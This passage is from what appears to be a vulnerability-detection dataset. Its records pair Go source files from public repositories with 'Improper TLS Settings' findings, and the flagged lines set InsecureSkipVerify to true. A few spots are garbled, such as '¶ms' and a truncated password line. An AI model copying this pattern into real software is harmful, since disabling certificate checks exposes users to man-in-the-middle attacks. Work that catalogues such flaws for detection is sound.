"entireCode": "/*******************************************************************************\n * Copyright 2021 Dell Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may not use this file except\n * in compliance with the License. You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software distributed under the License\n * is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express\n * or implied. See the License for the specific language governing permissions and limitations under\n * the License.\n *******************************************************************************/\n\npackage mutator\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"crypto/tls\"\n\t\"encoding/json\"\n\tSdkConfig \"github.com/project-alvarium/alvarium-sdk-go/pkg/config\"\n\t\"github.com/project-alvarium/alvarium-sdk-go/pkg/interfaces\"\n\t\"github.com/project-alvarium/ones-demo-2021/internal/config\"\n\t\"github.com/project-alvarium/ones-demo-2021/internal/db\"\n\t\"github.com/project-alvarium/ones-demo-2021/internal/models\"\n\tlogInterface \"github.com/project-alvarium/provider-logging/pkg/interfaces\"\n\t\"github.com/project-alvarium/provider-logging/pkg/logging\"\n\t\"net/http\"\n\t\"sync\"\n)\n\ntype MutateWorker struct {\n\tcfg SdkConfig.SdkInfo\n\tchSubscribe chan []byte\n\tdb *db.MongoProvider\n\tlogger logInterface.Logger\n\tsdk interfaces.Sdk\n\tsvc config.ServiceInfo\n}\n\nfunc NewMutateWorker(sdk interfaces.Sdk, chSub chan []byte, cfg SdkConfig.SdkInfo, transit config.ServiceInfo, db *db.MongoProvider, logger logInterface.Logger) MutateWorker {\n\treturn MutateWorker{\n\t\tcfg: cfg,\n\t\tchSubscribe: chSub,\n\t\tdb: db,\n\t\tlogger: logger,\n\t\tsdk: sdk,\n\t\tsvc: transit,\n\t}\n}\n\nfunc (m *MutateWorker) BootstrapHandler(ctx context.Context, wg *sync.WaitGroup) bool {\n\twg.Add(1)\n\tgo func() {\n\t\tdefer wg.Done()\n\n\t\tfor {\n\t\t\tmsg, ok := <-m.chSubscribe\n\t\t\tif ok {\n\t\t\t\t//Create new/transformed data\n\t\t\t\tdata, err := models.NewSampleData(m.cfg.Signature.PrivateKey)\n\t\t\t\tif err != nil {\n\t\t\t\t\tm.logger.Error(err.Error())\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\t//Save the data\n\t\t\t\terr = m.db.Save(ctx, data)\n\t\t\t\tif err != nil {\n\t\t\t\t\tm.logger.Error(err.Error())\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\tb, _ := json.Marshal(data)\n\t\t\t\t//Annotate the data, linking new to old\n\t\t\t\tm.sdk.Mutate(ctx, msg, b)\n\t\t\t\t//Send data to the next service\n\t\t\t\ttr := &http.Transport{\n\t\t\t\t\tDisableKeepAlives: true,\n\t\t\t\t\tTLSClientConfig: &tls.Config{InsecureSkipVerify: true},\n\t\t\t\t}\n\t\t\t\tclient := &http.Client{Transport: tr}\n\t\t\t\tresp, err := client.Post(m.svc.Uri()+\"/data\", config.HeaderValueJson, bytes.NewBuffer(b))\n\t\t\t\tif err != nil {\n\t\t\t\t\tm.logger.Error(err.Error())\n\t\t\t\t} else {\n\t\t\t\t\tresp.Body.Close()\n\t\t\t\t}\n\t\t\t} else { //channel has been closed. End goroutine.\n\t\t\t\tm.logger.Write(logging.InfoLevel, \"mutator::chSubscribe closed, exiting\")\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}()\n\n\twg.Add(1)\n\tgo func() { // Graceful shutdown\n\t\tdefer wg.Done()\n\n\t\t<-ctx.Done()\n\t\tm.logger.Write(logging.InfoLevel, \"shutdown received\")\n\t}()\n\treturn true\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 81, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "69c92a6610ca97ede2255066e7e1aa9492e70ac38c474600722c658244f4ac82", "license": {"spdx": ["Apache-2.0"], "repo": "Sujaya/kar", "path": "core/internal/pubsub/pubsub.go", "repo_head_hexsha": "f30105bf7525a8f44f7a7810415482b91c637638", "stack_hexsha": "7f154d9284efe1f46ce6322ae58c923d3430d9fa", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 120, "entireCode": "//\n// Copyright IBM Corporation 2020,2021\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n//\n\n// Package pubsub handles Kafka\npackage pubsub\n\nimport (\n\t\"context\"\n\t\"crypto/tls\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"net\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync\"\n\n\t\"github.com/IBM/kar/core/internal/config\"\n\t\"github.com/IBM/kar/core/pkg/logger\"\n\t\"github.com/Shopify/sarama\"\n)\n\nvar (\n\tclient sarama.Client // shared client\n\tproducer sarama.SyncProducer // shared idempotent producer\n\n\t// routes\n\ttopic = \"kar\" + config.Separator + config.AppName\n\treplicas map[string][]string // map services to sidecars\n\thosts map[string][]string // map actor types to sidecars\n\troutes map[string][]int32 // map sidecards to partitions\n\taddress string // host:port of sidecar http server (for peer-to-peer connections)\n\taddresses map[string]string // map sidecards to addresses\n\ttick = make(chan struct{})\n\tjoined = tick\n\tmu = &sync.RWMutex{}\n\n\tmanualPartitioner = sarama.NewManualPartitioner(topic)\n\n\terrTooFewPartitions = errors.New(\"too few partitions\")\n\n\t// ErrUnknownSidecar error\n\tErrUnknownSidecar = errors.New(\"unknown sidecar\")\n)\n\nfunc partitioner(t string) sarama.Partitioner {\n\tif t == topic {\n\t\treturn manualPartitioner\n\t}\n\treturn sarama.NewRandomPartitioner(t)\n}\n\n// Dial connects Kafka producer\nfunc Dial() error {\n\tconf, err := newConfig()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tconf.Producer.Return.Successes = true\n\tconf.Producer.RequiredAcks = sarama.WaitForAll\n\tconf.Producer.Idempotent = true\n\tconf.Producer.Partitioner = partitioner\n\tconf.Net.MaxOpenRequests = 1\n\n\tclient, err = sarama.NewClient(config.KafkaBrokers, conf)\n\tif err != nil {\n\t\tlogger.Error(\"failed to instantiate Kafka client: %v\", err)\n\t\treturn err\n\t}\n\n\tproducer, err = sarama.NewSyncProducerFromClient(client)\n\tif err != nil {\n\t\tlogger.Error(\"failed to instantiate Kafka producer: %v\", err)\n\t\treturn err\n\t}\n\n\treturn nil\n}\n\n// Close closes Kafka producer\nfunc Close() {\n\tproducer.Close()\n\tclient.Close()\n}\n\nfunc newConfig() (*sarama.Config, error) {\n\tconf := sarama.NewConfig()\n\tvar err error\n\tconf.Version, err = sarama.ParseKafkaVersion(config.KafkaVersion)\n\tif err != nil {\n\t\tlogger.Error(\"failed to parse Kafka version: %v\", err)\n\t\treturn nil, err\n\t}\n\tconf.ClientID = \"kar\"\n\tif config.KafkaPassword != \"\" {\n\t\tconf.Net.SASL.Enable = true\n\t\tconf.Net.SASL.User = config.KafkaUsername\n\t\tconf.Net.SASL.Password = config.\n\t\tconf.Net.SASL.Handshake = true\n\t\tconf.Net.SASL.Mechanism = sarama.SASLTypePlaintext\n\t}\n\tif config.KafkaEnableTLS {\n\t\tconf.Net.TLS.Enable = true\n\t\t// TODO support custom CA certificate\n\t\tif config.KafkaTLSSkipVerify {\n\t\t\tconf.Net.TLS.Config = &tls.Config{\n\t\t\t\tInsecureSkipVerify: true,\n\t\t\t}\n\t\t}\n\t}\n\treturn conf, nil\n}\n\n// Partitions returns the set of partitions claimed by this sidecar and a channel for change notifications\nfunc Partitions() ([]int32, <-chan struct{}) {\n\tmu.RLock()\n\tt := tick\n\tr := routes[config.ID]\n\tmu.RUnlock()\n\treturn r, t\n}\n\n// Join joins the sidecar to the application and returns a channel of incoming messages\nfunc Join(ctx context.Context, f func(Message), port int) (<-chan struct{}, error) {\n\taddress = net.JoinHostPort(config.Hostname, strconv.Itoa(port))\n\tadmin, err := sarama.NewClusterAdminFromClient(client)\n\tif err != nil {\n\t\tlogger.Error(\"failed to instantiate Kafka cluster admin: %v\", err)\n\t\treturn nil, err\n\t}\n\terr = admin.CreateTopic(topic, &sarama.TopicDetail{NumPartitions: 1, ReplicationFactor: 3}, false)\n\tif err != nil {\n\t\terr = admin.CreateTopic(topic, &sarama.TopicDetail{NumPartitions: 1, ReplicationFactor: 1}, false)\n\t}\n\tif err != nil {\n\t\tif e, ok := err.(*sarama.TopicError); !ok || e.Err != sarama.ErrTopicAlreadyExists { // ignore ErrTopicAlreadyExists\n\t\t\tlogger.Error(\"failed to create Kafka topic: %v\", err)\n\t\t\treturn nil, err\n\t\t}\n\t}\n\tch, _, err := Subscribe(ctx, topic, topic, &Options{master: true, OffsetOldest: true}, f)\n\treturn ch, err\n}\n\n// CreateTopic attempts to create the specified topic using the given parameters\nfunc CreateTopic(topic string, parameters string) error {\n\tvar params sarama.TopicDetail\n\tvar err error\n\n\tif parameters != \"\" {\n\t\terr = json.Unmarshal([]byte(parameters), ¶ms)\n\t\tif err != nil {\n\t\t\tlogger.Error(\"failed to unmarshal parameters to createTopic %v: %v\", topic, err)\n\t\t\treturn err\n\t\t}\n\t}\n\n\tadmin, err := sarama.NewClusterAdminFromClient(client)\n\tif err != nil {\n\t\tlogger.Error(\"failed to instantiate Kafka cluster admin: %v\", err)\n\t\treturn err\n\t}\n\n\tif parameters == \"\" { // No parameters given, attempt default creation values\n\t\terr = admin.CreateTopic(topic, &sarama.TopicDetail{NumPartitions: 1, ReplicationFactor: 3}, false)\n\t\tif err != nil {\n\t\t\terr = admin.CreateTopic(topic, &sarama.TopicDetail{NumPartitions: 1, ReplicationFactor: 1}, false)\n\t\t}\n\t} else {\n\t\terr = admin.CreateTopic(topic, ¶ms, false)\n\t}\n\tif err != nil {\n\t\tlogger.Error(\"failed to create Kafka topic %v: %v\", topic, err)\n\t\treturn err\n\t}\n\treturn nil\n}\n\n// DeleteTopic attempts to delete the specified topic\nfunc DeleteTopic(topic string) error {\n\tadmin, err := sarama.NewClusterAdminFromClient(client)\n\tif err != nil {\n\t\tlogger.Error(\"failed to instantiate Kafka cluster admin: %v\", err)\n\t\treturn err\n\t}\n\terr = admin.DeleteTopic(topic)\n\tif err != nil {\n\t\tlogger.Error(\"failed to delete Kafka topic %v: %v\", topic, err)\n\t\treturn err\n\t}\n\treturn nil\n}\n\ntype sidecarData struct {\n\tPartitions []int32 `json:\"partitions\"`\n\tAddress string `json:\"address\"`\n\tActors []string `json:\"actors\"`\n\tServices []string `json:\"services\"`\n}\n\n// GetSidecars --\nfunc GetSidecars(format string) (string, error) {\n\tinformation := make(map[string]*sidecarData)\n\n\tmu.RLock()\n\tfor sidecar, partitions := range routes {\n\t\tinformation[sidecar] = &sidecarData{}\n\t\tinformation[sidecar].Partitions = append(information[sidecar].Partitions, partitions...)\n\t}\n\tfor actor, sidecars := range hosts {\n\t\tfor _, sidecar := range sidecars {\n\t\t\tinformation[sidecar].Actors = append(information[sidecar].Actors, actor)\n\t\t}\n\t}\n\tfor service, sidecars := range replicas {\n\t\tfor _, sidecar := range sidecars {\n\t\t\tinformation[sidecar].Services = append(information[sidecar].Services, service)\n\t\t}\n\t}\n\tfor sidecar, address := range addresses {\n\t\tinformation[sidecar].Address = address\n\t}\n\tmu.RUnlock()\n\n\tif format == \"json\" || format == \"application/json\" {\n\t\tm, err := json.Marshal(information)\n\t\tif err != nil {\n\t\t\tlogger.Error(\"failed to marshal sidecar information data: %v\", err)\n\t\t\treturn \"\", err\n\t\t}\n\t\treturn string(m), nil\n\t}\n\n\tvar str strings.Builder\n\tfmt.Fprint(&str, \"\\nSidecar\\n : Actors\\n : Services\")\n\tfor sidecar, sidecarInfo := range information {\n\t\tfmt.Fprintf(&str, \"\\n%v\\n : %v\\n : %v\", sidecar, sidecarInfo.Actors, sidecarInfo.Services)\n\t}\n\treturn str.String(), nil\n}\n\n// GetSidecarID --\nfunc GetSidecarID(format string) (string, error) {\n\tif format == \"json\" || format == \"application/json\" {\n\t\treturn fmt.Sprintf(\"{\\\"id\\\":\\\"%s\\\"}\", config.ID), nil\n\t}\n\n\treturn config.ID + \"\\n\", nil\n}\n\n// Purge deletes the application topic\nfunc Purge() error {\n\tadmin, err := sarama.NewClusterAdminFromClient(client)\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = admin.DeleteTopic(topic)\n\tif err != sarama.ErrUnknownTopicOrPartition {\n\t\treturn err\n\t}\n\treturn nil\n}\n\n// IsLiveSidecar return true if the argument sidecar is currently part of the application mesh\nfunc IsLiveSidecar(sidecar string) bool {\n\t_, ok := addresses[sidecar]\n\treturn ok\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 120, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "f8648fcf33fe98cbc70d94aa61fa2f8b17ab4af8ff4f183514c370cd1c888a5e", "license": {"spdx": ["Apache-2.0"], "repo": "vknell/soluble-cli", "path": "pkg/api/client.go", "repo_head_hexsha": "50709cfbfaf74b519001a10cfa7364d9d521e12e", "stack_hexsha": "1c8c4a97842cd9c9217efcc10aee7eea1c6198f5", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 89, "entireCode": "// Copyright 2020 Soluble Inc\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage api\n\nimport (\n\t\"crypto/tls\"\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/go-resty/resty/v2\"\n\t\"github.com/soluble-ai/go-jnode\"\n\t\"github.com/soluble-ai/soluble-cli/pkg/log\"\n\t\"github.com/soluble-ai/soluble-cli/pkg/version\"\n)\n\nconst (\n\torgToken = \"{org}\"\n)\n\ntype Config struct {\n\tOrganization string\n\tAPIToken string\n\tAPIServer string\n\tAPIPrefix string\n\tDebug bool\n\tTLSNoVerify bool\n\tTimeout time.Duration\n\tRetryCount int\n\tRetryWaitSeconds float64\n\tHeaders []string\n}\n\ntype Option func(*resty.Request)\n\ntype httpError string\n\nvar HTTPError httpError\n\ntype Client struct {\n\t*resty.Client\n\tConfig\n}\n\nfunc (h httpError) Error() string {\n\treturn string(h)\n}\n\nfunc (h httpError) Is(err error) bool {\n\tswitch err.(type) {\n\tcase httpError:\n\t\treturn true\n\tdefault:\n\t\treturn false\n\t}\n}\n\nfunc NewClient(config *Config) *Client {\n\tc := &Client{\n\t\tClient: resty.New(),\n\t\tConfig: *config,\n\t}\n\tc.Token = config.APIToken\n\tif c.APIPrefix == \"\" {\n\t\tc.APIPrefix = \"/api/v1\"\n\t}\n\n\tapiServer := config.APIServer\n\tc.SetBaseURL(apiServer)\n\tif log.Level == log.Debug {\n\t\tc.Client.Debug = true\n\t}\n\tif config.TLSNoVerify {\n\t\tlog.Warnf(\"{warning:Disabling TLS verification of %s}\", apiServer)\n\t\tc.SetTLSClientConfig(&tls.Config{\n\t\t\tInsecureSkipVerify: true,\n\t\t})\n\t}\n\tc.SetHeader(\"User-Agent\", \"soluble-cli/\"+version.Version)\n\tc.EnableTrace()\n\tc.OnAfterResponse(func(c *resty.Client, r *resty.Response) error {\n\t\tinfo := r.Request.TraceInfo()\n\t\tlog.Debugf(\"{warning:%+v}\\n\", info)\n\t\treturn nil\n\t})\n\tc.OnAfterResponse(func(c *resty.Client, r *resty.Response) error {\n\t\tt := r.Request.TraceInfo().TotalTime.Truncate(time.Millisecond)\n\t\tif r.IsError() {\n\t\t\tlog.Errorf(\"{info:%s} {primary:%s} returned {danger:%d} in {secondary:%s}\\n\", r.Request.Method,\n\t\t\t\tr.Request.URL, r.StatusCode(), t)\n\t\t\tlog.Errorf(\"{warning:%s}\\n\", r.String())\n\t\t\tif r.StatusCode() == 401 || r.StatusCode() == 404 {\n\t\t\t\tlog.Infof(\"Are you not logged in? Use {primary:soluble login} to login, or {primary:soluble auth profile} to verify\")\n\t\t\t}\n\t\t\treturn httpError(fmt.Sprintf(\"%s returned %d\", r.Request.URL, r.StatusCode()))\n\t\t}\n\t\tlog.Debugf(\"%v\", r.Result())\n\t\tlog.Infof(\"{info:%s} {primary:%s} returned {success:%d} in {secondary:%s}\\n\", r.Request.Method,\n\t\t\tr.Request.URL, r.StatusCode(), t)\n\t\treturn nil\n\t})\n\tc.SetTimeout(config.Timeout)\n\tc.SetRetryCount(config.RetryCount)\n\tif config.RetryWaitSeconds > 0 {\n\t\tc.SetRetryWaitTime(time.Duration(config.RetryWaitSeconds*1000) * time.Millisecond)\n\t}\n\tfor _, header := range config.Headers {\n\t\tnv := strings.Split(header, \":\")\n\t\tc.SetHeader(nv[0], nv[1])\n\t}\n\treturn c\n}\n\nfunc (c *Client) execute(r *resty.Request, method, path string, options []Option) error {\n\t// set r.Method here so that options can do different things\n\t// depending on the method\n\tr.Method = method\n\tfor _, opt := range options {\n\t\topt(r)\n\t}\n\tif strings.Contains(path, orgToken) {\n\t\tif c.Organization == \"\" {\n\t\t\tlog.Errorf(\"An organization must be specified with --organization or configuring one with `cli-config set organization `\")\n\t\t\treturn fmt.Errorf(\"organization is required\")\n\t\t}\n\t\tpath = strings.ReplaceAll(path, orgToken, c.Organization)\n\t}\n\tif len(path) > 0 && path[0] != '/' {\n\t\tpath = fmt.Sprintf(\"%s/%s\", c.APIPrefix, path)\n\t}\n\t_, err := r.Execute(method, path)\n\treturn err\n}\n\nfunc (c *Client) Post(path string, body *jnode.Node, options ...Option) (*jnode.Node, error) {\n\tresult := jnode.NewObjectNode()\n\tif err := c.execute(c.R().SetBody(body).SetResult(result), resty.MethodPost, path, options); err != nil {\n\t\treturn nil, err\n\t}\n\treturn result, nil\n}\n\nfunc (c *Client) Get(path string, options ...Option) (*jnode.Node, error) {\n\tresult := jnode.NewObjectNode()\n\tif err := c.execute(c.R().SetResult(result), resty.MethodGet, path, options); err != nil {\n\t\treturn nil, err\n\t}\n\treturn result, nil\n}\n\nfunc (c *Client) GetWithParams(path string, params map[string]string, options ...Option) (*jnode.Node, error) {\n\tresult := jnode.NewObjectNode()\n\n\tif err := c.execute(c.R().SetQueryParams(params).SetResult(result), resty.MethodGet, path, options); err != nil {\n\t\treturn nil, err\n\t}\n\treturn result, nil\n}\n\nfunc (c *Client) Delete(path string, options ...Option) (*jnode.Node, error) {\n\tresult := jnode.NewObjectNode()\n\tif err := c.execute(c.R().SetResult(result), resty.MethodDelete, path, options); err != nil {\n\t\treturn nil, err\n\t}\n\treturn result, nil\n}\n\nfunc (c *Client) Patch(path string, body *jnode.Node, options ...Option) (*jnode.Node, error) {\n\tresult := jnode.NewObjectNode()\n\tif err := c.execute(c.R().SetResult(result).SetBody(body), resty.MethodPatch, path, options); err != nil {\n\t\treturn nil, err\n\t}\n\treturn result, nil\n}\n\nfunc (c *Client) GetClient() *resty.Client {\n\treturn c.Client\n}\n\nfunc (c *Client) XCPPost(orgID string, module string, files []string, values map[string]string, options ...Option) (*jnode.Node, error) {\n\tif module == \"\" {\n\t\treturn nil, fmt.Errorf(\"module parameter is required\")\n\t}\n\treq := c.R()\n\tfor i, file := range files {\n\t\tf, err := os.Open(file)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tdefer f.Close()\n\t\treq.SetFileReader(fmt.Sprintf(\"file_%d\", i), filepath.Base(file), f)\n\t}\n\treq.SetHeader(\"X-SOLUBLE-ORG-ID\", orgID)\n\treq.SetMultipartFormData(values)\n\tresult := jnode.NewObjectNode()\n\treq.SetResult(result)\n\tif err := c.execute(req, resty.MethodPost, fmt.Sprintf(\"/api/v1/xcp/%s/data\", module), options); err != nil {\n\t\treturn nil, err\n\t}\n\treturn result, nil\n}\n\nfunc (c *Client) GetOrganization() string {\n\treturn c.Organization\n}\n\nfunc (c *Client) GetHostURL() string {\n\treturn c.HostURL\n}\n\nfunc (c *Client) GetAuthToken() string {\n\treturn c.APIToken\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 89, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "8338b6696aaec38cc955d7e83c654f215513681ba0eac79fb9dbc3f381e960b8", "license": {"spdx": ["Apache-2.0"], "repo": "ebuildy/elasticsearch-proviz", "path": "engines/elasticsearch.go", "repo_head_hexsha": "86717f5b8da6f7cac22d38507fce5862148059d7", "stack_hexsha": "e72b6b4a856adb4b2df0c92ad4ba8b80d690233a", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 30, "entireCode": "package engines\n\nimport (\n\t\"crypto/tls\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"github.com/ebuildy/pagnol/app\"\n\t\"github.com/ebuildy/pagnol/yaml_mapstr\"\n\t\"github.com/go-resty/resty/v2\"\n\tlog \"github.com/sirupsen/logrus\"\n\t\"strings\"\n)\n\ntype ElasticsearchEngine struct {\n\tclient *resty.Client\n\tcli app.Parameters\n}\n\nfunc Elasticsearch(p app.Parameters) *ElasticsearchEngine {\n\n\tclient := resty.New().\n\t\tSetHeader(\"Content-Type\", \"application/json\")\n\n\tif len(p.Target.AuthUsername) > 0 {\n\t\tclient.SetBasicAuth(p.Target.AuthUsername, p.Target.AuthPassword)\n\t}\n\n\tif p.Target.TLSNoVerify {\n\t\tclient.SetTLSClientConfig(&tls.Config{InsecureSkipVerify: true})\n\t} else {\n\t\tif len(p.Target.TLSCertificate) > 0 {\n\t\t\tclient.SetRootCertificate(p.Target.TLSCertificate)\n\t\t}\n\t}\n\n\tif p.Verbose {\n\t\tclient.SetDebug(true)\n\t}\n\n\treturn &ElasticsearchEngine{\n\t\tclient: client,\n\t\tcli: p,\n\t}\n}\n\nfunc (engine *ElasticsearchEngine) Support(action app.ActionItem) bool {\n\treturn strings.HasPrefix(action.Kind, \"org.elasticsearch\")\n}\n\nfunc (engine *ElasticsearchEngine) Run(action app.ActionItem) bool {\n\tclient := engine.client\n\tapp := engine.cli\n\tURL := engine.cli.Target.URL\n\tkind := strings.Replace(action.Kind, \"org.elasticsearch/\", \"\", 1)\n\n\tURLComponent := kindToURLComponents(kind)\n\tfullURL := fmt.Sprintf(\"%s/%s/%s\", URL, URLComponent, action.Name)\n\tlog.WithField(action.Kind, action.Name).Debug(\"Processing index template\")\n\n\tresp, err := client.R().Get(fullURL)\n\n\tif err != nil {\n\t\tapp.HandleError(err)\n\t}\n\n\tif resp.IsSuccess() {\n\t\tif app.Verbose {\n\t\t\tlog.Debug(\"[elasticsearch] resource found, deleting\")\n\t\t}\n\n\t\tresp, err = client.R().\n\t\t\tDelete(fullURL)\n\n\t\tif err != nil {\n\t\t\tapp.HandleError(err)\n\t\t}\n\n\t\tif resp.IsError() {\n\t\t\tlog.Errorf(\"[elasticsearch] error deleting existing resource [%s] %s\", resp.Status(), resp.Body())\n\t\t}\n\t}\n\n\tspec := yaml_mapstr.CleanupInterfaceMap(action.Spec)\n\n\tjsonData, err := json.Marshal(spec)\n\n\tif err != nil {\n\t\tapp.HandleError(err)\n\n\t\treturn false\n\t}\n\n\tif !json.Valid([]byte(jsonData)) {\n\t\tapp.HandleError(errors.New(\"request is not valid JSON\"))\n\n\t\treturn false\n\t}\n\n\tresp, err = client.R().\n\t\tSetBody(jsonData).\n\t\tPut(fullURL)\n\n\tif err != nil {\n\t\tapp.HandleError(err)\n\n\t\tapp.HandleEnd(action.Kind, action.Name, false)\n\n\t\treturn false\n\t}\n\n\tapp.HandleSuccess(resp)\n\tapp.HandleEnd(action.Kind, action.Name, resp.IsSuccess())\n\n\treturn resp.IsSuccess()\n}\n\nfunc kindToURLComponents(k string) string {\n\tb := map[string]string{\n\t\t\"index_template\": \"_index_template\",\n\t\t\"snapshot_repository\": \"_snapshot\",\n\t\t\"slm_policy\": \"_slm/policy\",\n\t\t\"slm-policy\": \"_slm/policy\",\n\t\t\"livecycle_policy\": \"_ilm/policy\",\n\t\t\"livecycle-policy\": \"_ilm/policy\",\n\t\t\"ilm\": \"_ilm/policy\",\n\t}\n\n\tif v, ok := b[k]; ok {\n\t\treturn v\n\t} else {\n\t\treturn k\n\t}\n}", "dangerousExampleEn": "1. tlsConfig := &tls.Config{\n2. \tInsecureSkipVerify: true,\n3. }\nLine 2: This is insecure because InsecureSkipVerify is used to skip certificate verification.", "safeExampleEn": "1. tlsConfig := &tls.Config{\n2. \t//InsecureSkipVerify: true,\n3. }\nLine 2: This is secure because InsecureSkipVerify is not used and certificate verification is required.", "contexts": [{"lineNo": 30, "eventType": "sink", "messageKey": "gochk.IMPROPER_TLS_SETTING.GO.defect", "params": {}}]}} {"id": "5668ae4c605a8b01b49e49c6d5b70ebd53c09b5654feb049a8e98ebcc336ce31", "license": {"spdx": ["MIT"], "repo": "pyke369/salt-pki", "path": "main.go", "repo_head_hexsha": "80dcdf852ad066db1a95854a6aa4ec2816d668ce", "stack_hexsha": "b54ea5306ae1415bab509dc65eeb0708b574d6e2", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper TLS Settings", "issueDescriptionEn": "`InsecureSkipVerify` option sets the client to not verify the SSL/TLS certificate of the server. Using this option can cause vulnerabilities such as a man-in-the-middle attack or certificate forgery because the certificate for the server is not verified.\nBecause `InsecureSkipVerify` is `false` by default, it is secure unless declared as true.", "issueLineNumber": 316, "entireCode": "package main\n\nimport (\n\t\"crypto/sha1\"\n\t\"crypto/tls\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"math\"\n\t\"net/http\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/pyke369/golang-support/dynacert\"\n\t\"github.com/pyke369/golang-support/fqdn\"\n\t\"github.com/pyke369/golang-support/jsonrpc\"\n\t\"github.com/pyke369/golang-support/uconfig\"\n\t\"github.com/pyke369/golang-support/ulog\"\n)\n\nconst (\n\tprogname = \"salt-pki\"\n\tversion = \"1.0.9\"\n)\n\ntype PEER struct {\n\thash string\n\titems int64\n\tseen int64\n}\ntype ITEM struct {\n\tHash string `json:\"hash\"`\n\tModified int64 `json:\"modified\"`\n\tSeen int64 `json:\"seen\"`\n\tDeleted bool `json:\"deleted\"`\n}\n\nvar (\n\tconfig *uconfig.UConfig\n\tlog *ulog.ULog\n\tlock sync.RWMutex\n\tid = \"\"\n\troot = \"/etc/salt/pki/master\"\n\tbackup = \"/etc/salt/pki/master/backup\"\n\tfilter = \"minions*\"\n\thash = \"\"\n\tpeers = map[string]*PEER{}\n\titems = map[string]*ITEM{}\n\ttransport = &http.Transport{TLSNextProto: map[string]func(string, *tls.Conn) http.RoundTripper{}}\n)\n\n// build local state\nfunc local() {\n\troots, _ := filepath.Glob(filepath.Join(root, filter))\n\thasher := sha1.New()\n\tfor _, entry := range roots {\n\t\tfilepath.Walk(entry, func(path string, info os.FileInfo, err error) error {\n\t\t\tif err == nil && info.Mode().IsRegular() && !strings.Contains(path, \"/.\") {\n\t\t\t\tkey := strings.TrimPrefix(path, root+\"/\")\n\t\t\t\tif content, err := ioutil.ReadFile(path); err == nil && len(content) > 0 